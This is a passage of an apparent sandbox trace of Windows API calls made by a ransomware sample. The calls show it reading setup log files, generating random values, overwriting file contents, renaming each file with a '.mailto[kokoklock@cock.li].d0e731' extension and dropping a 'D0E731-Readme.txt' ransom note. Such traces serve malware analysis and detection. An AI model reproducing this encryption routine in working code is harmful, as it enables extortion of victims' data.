1 [0063.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481af8) returned 1 [0063.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e87a0) returned 1 [0063.832] RtlExitUserThread (Status=0x1) Thread: id = 201 os_tid = 0x119c [0063.454] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0064.687] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", dwFileAttributes=0x20) returned 1 [0064.687] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0064.687] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0xb0af8f4 | out: lpFileSize=0xb0af8f4*=42674) returned 1 [0064.687] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xa6ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.687] ReadFile (in: hFile=0x3c0, lpBuffer=0xb0af8c8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb0af8c4, lpOverlapped=0x0 | out: lpBuffer=0xb0af8c8*, lpNumberOfBytesRead=0xb0af8c4*=0x4, lpOverlapped=0x0) returned 1 [0064.688] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.688] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.689] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe28 [0064.689] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa68 [0064.689] NtQuerySystemTime (in: CurrentTime=0xb0af8a0 | out: CurrentTime=0xb0af8a0*=132121176225809009) returned 0x0 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0xfcbc7a88 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x1c731973 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x9fe50855 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0xbf77781b [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x3f96ec81 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x5ae08577 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x4fd93e8a [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x4cbc99b1 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0xe3801db [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x57f48dd2 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x8290e32d [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x9642a0e5 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x3c2fa22c [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x5eb8cfec [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x13e57863 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x90f2b34b [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x96b0c7cc [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x1da87ced [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0xca9447de [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0xef14693b [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x22fe79d4 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x1a54dd01 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x9bfed4a8 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x88fa8a9c [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x164a64c9 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x29743941 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x8ced3f91 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0xac13de00 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0x37d42606 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0xd0aac12f [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0xab8d62a6 [0064.689] RtlRandom (in: Seed=0xb0af8ac | out: Seed=0xb0af8ac) returned 0xb20fd10a [0064.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa90 [0064.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0064.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efab8 [0064.702] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0064.702] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0064.702] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.702] ReadFile (in: hFile=0x3c0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb0af878, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xb0af878*=0x4096, lpOverlapped=0x0) returned 1 [0064.702] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0064.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34799e8 [0064.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.703] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.703] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.703] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.703] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.703] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.703] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0064.703] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0064.703] WriteFile (in: hFile=0x3c0, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb0af878, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xb0af878*=0x4096, lpOverlapped=0x0) returned 1 [0064.703] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.703] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xa6b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.704] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efdd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb0af8b0, lpOverlapped=0x0 | out: lpBuffer=0x33efdd8*, lpNumberOfBytesWritten=0xb0af8b0*=0x20, lpOverlapped=0x0) returned 1 [0064.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0064.704] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efab8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb0af8c4, lpOverlapped=0x0 | out: lpBuffer=0x33efab8*, lpNumberOfBytesWritten=0xb0af8c4*=0x8, lpOverlapped=0x0) returned 1 [0064.704] WriteFile (in: hFile=0x3c0, lpBuffer=0xb0af8dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb0af8c4, lpOverlapped=0x0 | out: lpBuffer=0xb0af8dc*, lpNumberOfBytesWritten=0xb0af8c4*=0x4, lpOverlapped=0x0) returned 1 [0064.704] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb0af8c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb0af8c4*=0x4, lpOverlapped=0x0) returned 1 [0064.704] WriteFile (in: hFile=0x3c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb0af8c4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb0af8c4*=0x6c, lpOverlapped=0x0) returned 1 [0064.704] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efe28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb0af8c4, lpOverlapped=0x0 | out: lpBuffer=0x33efe28*, lpNumberOfBytesWritten=0xb0af8c4*=0x20, lpOverlapped=0x0) returned 1 [0064.704] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb0af8c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb0af8c4*=0x4, lpOverlapped=0x0) returned 1 [0064.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe28) returned 1 [0064.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa90) returned 1 [0064.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efab8) returned 1 [0064.704] CloseHandle (hObject=0x3c0) returned 1 [0064.706] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x33ca330 [0064.706] wcscpy (in: _Dest=0x33ca330, _Source="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" | out: _Dest="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" [0064.706] wcscat (in: _Dest=0x33ca330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731") returned="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731" [0064.706] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.707] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca330) returned 1 [0064.707] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", dwFileAttributes=0x20) returned 0 [0064.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3430e38 [0064.707] wcscpy (in: _Dest=0x3430e38, _Source="C:\\$GetCurrent\\Logs\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0064.707] wcscat (in: _Dest=0x3430e38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\$GetCurrent\\Logs\\D0E731-Readme.txt") returned="C:\\$GetCurrent\\Logs\\D0E731-Readme.txt" [0064.707] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\D0E731-Readme.txt" (normalized: "c:\\$getcurrent\\logs\\d0e731-readme.txt")) returned 0x20 [0064.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430e38) returned 1 [0064.708] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccff0) returned 1 [0064.708] RtlExitUserThread (Status=0x1) Thread: id = 202 os_tid = 0x11a0 [0063.455] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0064.639] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", dwFileAttributes=0x20) returned 1 [0064.639] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7a8 [0064.639] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0xb12f768 | out: lpFileSize=0xb12f768*=6004) returned 1 [0064.639] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x1770, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.639] ReadFile (in: hFile=0x7a8, lpBuffer=0xb12f73c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb12f738, lpOverlapped=0x0 | out: lpBuffer=0xb12f73c*, lpNumberOfBytesRead=0xb12f738*=0x4, lpOverlapped=0x0) returned 1 [0064.641] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe28 [0064.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33ef9c8 [0064.641] NtQuerySystemTime (in: CurrentTime=0xb12f714 | out: CurrentTime=0xb12f714*=132121176225340149) returned 0x0 [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0xdd4da8e0 [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x39e344a2 [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x7a3fa28 [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0xd1d621a [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x13e6745b [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x699be955 [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0xfe0ed0b7 [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x2fa77769 [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x9fb10484 [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0xf81131df [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x57ea019d [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x8856134f [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x84d2b1f [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0xb35a7f5b [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x4b11e29a [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0xad8525a3 [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x94d98fbc [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x73ead8f6 [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x179ab948 [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0xca66e902 [0064.641] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0xd191bc0 [0064.642] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0xc4855af9 [0064.642] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0xf5585b4e [0064.642] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x77db308 [0064.642] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x8c97382 [0064.642] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x773768ca [0064.642] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x1b38e703 [0064.642] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x6c509f6f [0064.642] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x28eeb6c3 [0064.642] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x14d05110 [0064.642] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0x5de5bcb1 [0064.642] RtlRandom (in: Seed=0xb12f720 | out: Seed=0xb12f720) returned 0xe945b417 [0064.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa40 [0064.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34799e8 [0064.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa68 [0064.654] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0064.654] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0064.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.654] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0064.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.654] ReadFile (in: hFile=0x7a8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x1774, lpNumberOfBytesRead=0xb12f714, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xb12f714*=0x1774, lpOverlapped=0x0) returned 1 [0064.655] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xb12f6dc | out: lpNewFilePointer=0x0) returned 1 [0064.655] WriteFile (in: hFile=0x7a8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x1774, lpNumberOfBytesWritten=0xb12f710, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xb12f710*=0x1774, lpOverlapped=0x0) returned 1 [0064.655] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.655] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa90 [0064.655] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa90) returned 1 [0064.655] WriteFile (in: hFile=0x7a8, lpBuffer=0x33efdd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb12f70c, lpOverlapped=0x0 | out: lpBuffer=0x33efdd8*, lpNumberOfBytesWritten=0xb12f70c*=0x20, lpOverlapped=0x0) returned 1 [0064.655] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.655] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.655] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0064.656] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0064.656] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.656] WriteFile (in: hFile=0x7a8, lpBuffer=0x33efa68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb12f738, lpOverlapped=0x0 | out: lpBuffer=0x33efa68*, lpNumberOfBytesWritten=0xb12f738*=0x8, lpOverlapped=0x0) returned 1 [0064.656] WriteFile (in: hFile=0x7a8, lpBuffer=0xb12f750*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb12f738, lpOverlapped=0x0 | out: lpBuffer=0xb12f750*, lpNumberOfBytesWritten=0xb12f738*=0x4, lpOverlapped=0x0) returned 1 [0064.656] WriteFile (in: hFile=0x7a8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb12f738, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb12f738*=0x4, lpOverlapped=0x0) returned 1 [0064.656] WriteFile (in: hFile=0x7a8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb12f738, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb12f738*=0x6c, lpOverlapped=0x0) returned 1 [0064.656] WriteFile (in: hFile=0x7a8, lpBuffer=0x33efe28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb12f738, lpOverlapped=0x0 | out: lpBuffer=0x33efe28*, lpNumberOfBytesWritten=0xb12f738*=0x20, lpOverlapped=0x0) returned 1 [0064.656] WriteFile (in: hFile=0x7a8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb12f738, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb12f738*=0x4, lpOverlapped=0x0) returned 1 [0064.656] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe28) returned 1 [0064.656] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa40) returned 1 [0064.656] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa68) returned 1 [0064.656] CloseHandle (hObject=0x7a8) returned 1 [0064.657] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x33e38d0 [0064.657] wcscpy (in: _Dest=0x33e38d0, _Source="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" | out: _Dest="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" [0064.657] wcscat (in: _Dest=0x33e38d0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731") returned="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731" [0064.657] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.658] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.658] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e38d0) returned 1 [0064.658] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", dwFileAttributes=0x20) returned 0 [0064.658] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3431150 [0064.658] wcscpy (in: _Dest=0x3431150, _Source="C:\\$GetCurrent\\Logs\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0064.658] wcscat (in: _Dest=0x3431150, _Source="D0E731-Readme.txt" | out: _Dest="C:\\$GetCurrent\\Logs\\D0E731-Readme.txt") returned="C:\\$GetCurrent\\Logs\\D0E731-Readme.txt" [0064.658] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\D0E731-Readme.txt" (normalized: "c:\\$getcurrent\\logs\\d0e731-readme.txt")) returned 0xffffffff [0064.658] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\D0E731-Readme.txt" (normalized: "c:\\$getcurrent\\logs\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7a8 [0064.658] WriteFile (in: hFile=0x7a8, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xb12f734, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xb12f734*=0x481, lpOverlapped=0x0) returned 1 [0064.659] CloseHandle (hObject=0x7a8) returned 1 [0064.659] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431150) returned 1 [0064.660] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e98) returned 1 [0064.660] RtlExitUserThread (Status=0x1) Thread: id = 203 os_tid = 0x11a4 [0063.456] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0064.708] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", dwFileAttributes=0x20) returned 1 [0064.709] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0064.709] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0xb1afcf0 | out: lpFileSize=0xb1afcf0*=40) returned 1 [0064.709] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.709] ReadFile (in: hFile=0x3c0, lpBuffer=0xb1afcc4, nNumberOfBytesToRead=0x4, 